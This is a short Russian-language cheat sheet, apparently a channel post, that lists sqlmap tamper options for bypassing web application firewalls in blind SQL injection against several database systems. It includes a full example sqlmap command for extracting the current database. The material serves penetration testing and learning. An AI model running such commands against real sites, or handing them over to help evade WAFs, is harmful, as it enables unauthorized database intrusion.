💉 Значение Tamper в Sqlmap для обхода WAF



Ниже приведён список используемых значений tamper в sqlmap при проведении Blind Sql инъекций и обхода средств защиты веб приложений для различных СУБД (систем управления базой данных):



Пример:



sqlmap -r req.txt -v 3 -p "input parameter" --level=5 --risk=3 --time-sec=5 --technique=T --tamper=between --current-db



▫️Для Mysql,Mssql,Postgresql,Oracle (Blind):

between




▫️Mysql (Blind):

ifnull2casewhenisnull

ifnull2ifisnull




▫️Mysql,Mssql,Postgresql,Oracle (Blind):

charencode




▫️Mysql,Mssql,Postgresql (Blind):

charunicodeencode




▫️Mysql (Blind):

commalesslimit

commalessmid




▫️Mysql (Blind):

escapequotes




▫️UTF-8 (Blind):

apostrophemask

overlongutf8

overlongutf8more




▫️Bypass waf in JSON (Blind):

charunicodeescape




▫️Mysql,Postgresql,Oracle (Blind):

greatest




▫️Cloudfare waf (Blind):

xforwardedfor




#web #sql